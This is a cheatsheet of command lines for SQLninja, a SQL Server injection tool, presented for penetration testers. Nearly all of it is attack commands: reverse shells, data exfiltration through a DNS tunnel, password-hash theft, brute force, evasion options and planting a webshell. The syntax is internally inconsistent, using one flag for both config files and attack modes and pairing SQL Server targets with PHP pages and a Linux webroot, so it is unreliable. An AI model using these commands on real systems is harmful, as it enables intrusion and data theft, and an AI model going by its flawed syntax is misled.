
SQLninja is a powerful open-source tool used to exploit SQL injection vulnerabilities on Microsoft SQL Server. It helps ethical hackers escalate privileges, gain shell access, and automate exploitation. This cheatsheet provides essential commands, usage syntax, attack modes, and practical tips for red teamers and penetration testers.
SQLninja Cheatsheet
The Ultimate SQL Injection Tool Reference Guide
Basic SQLninja Usage
sqlninja
sqlninja -f config_file
sqlninja -u "http://target.com/vuln.php?id=1"
sqlninja -p "user=admin&pass=test"
sqlninja -v
sqlninja -d
sqlninja -m GET|POST
sqlninja -g "parameter"
Fingerprinting Commands
sqlninja -f fingerprint
sqlninja -f version
sqlninja -f user
sqlninja -f dbname
sqlninja -f hostname
sqlninja -f issa
sqlninja -f xpcmdshell
sqlninja -f links
Exploitation Commands
sqlninja -f upload_exec -l /local/file -r /remote/file
sqlninja -f directsh -a "command"
sqlninja -f revsh -l local_ip -p local_port
sqlninja -f dnstunnel -d domain.com
sqlninja -f metasploit -l local_ip -p local_port
sqlninja -f vnc -l local_ip -p local_port
sqlninja -f esca
sqlninja -f stealhashes
File Operations
sqlninja -f upload -l /local/file -r /remote/file
sqlninja -f download -r /remote/file -l /local/file
sqlninja -f readfile -r /remote/file
sqlninja -f dir -r /remote/dir
sqlninja -f writable -r /remote/dir
sqlninja -f findwebroot
Shell Operations
sqlninja -f os_shell
sqlninja -f sql_shell
sqlninja -f exec -a "command"
sqlninja -f query -a "SELECT * FROM users"
sqlninja -f bind -p port
sqlninja -f icmpsh -l local_ip
Brute Force Attacks
sqlninja -f bruteforce -w wordlist.txt
sqlninja -f dictionary -w wordlist.txt
sqlninja -f rules -w wordlist.txt -r rules.txt
sqlninja -f ntlmbrute -h hashes.txt
Evasion Techniques
sqlninja -x
sqlninja -r
sqlninja -s
sqlninja -t milliseconds
sqlninja -P http://proxy:port
sqlninja --tamper tamper_script
Common Attack Scenarios
sqlninja -u "http://target.com/vuln.php?id=1" -f fingerprint,upload_exec,revsh -l 192.168.1.100 -p 4444
sqlninja -u "http://target.com/vuln.php?id=1" -f query,dnstunnel -a "SELECT * FROM users" -d exfil.domain.com
sqlninja -u "http://target.com/vuln.php?id=1" -f upload -l webshell.php -r /var/www/html/ws.php